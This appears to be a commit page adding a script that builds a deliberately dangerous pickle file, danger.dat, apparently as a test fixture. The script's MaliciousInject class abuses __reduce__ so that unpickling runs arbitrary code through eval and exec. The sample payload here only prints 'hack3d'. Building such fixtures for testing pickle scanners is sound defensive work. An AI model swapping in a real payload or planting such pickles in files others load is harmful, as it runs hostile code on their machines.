feat: build dangerous pickle testing `.dat`
Browse files- build_pickles.py +14 -0
- danger.dat +0 -0
build_pickles.py
ADDED
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import pickle
|
2 |
+
|
3 |
+
|
4 |
+
class MaliciousInject:
|
5 |
+
def __init__(self, src: str):
|
6 |
+
self._src = src
|
7 |
+
def __reduce__(self):
|
8 |
+
return eval, (f"exec('''{self._src}''')",), None, None, None
|
9 |
+
|
10 |
+
|
11 |
+
content = MaliciousInject("print('hack3d')")
|
12 |
+
with open('danger.dat', 'wb') as f:
|
13 |
+
pickle.dump(content, f)
|
14 |
+
|
danger.dat
ADDED
Binary file (66 Bytes). View file
|
|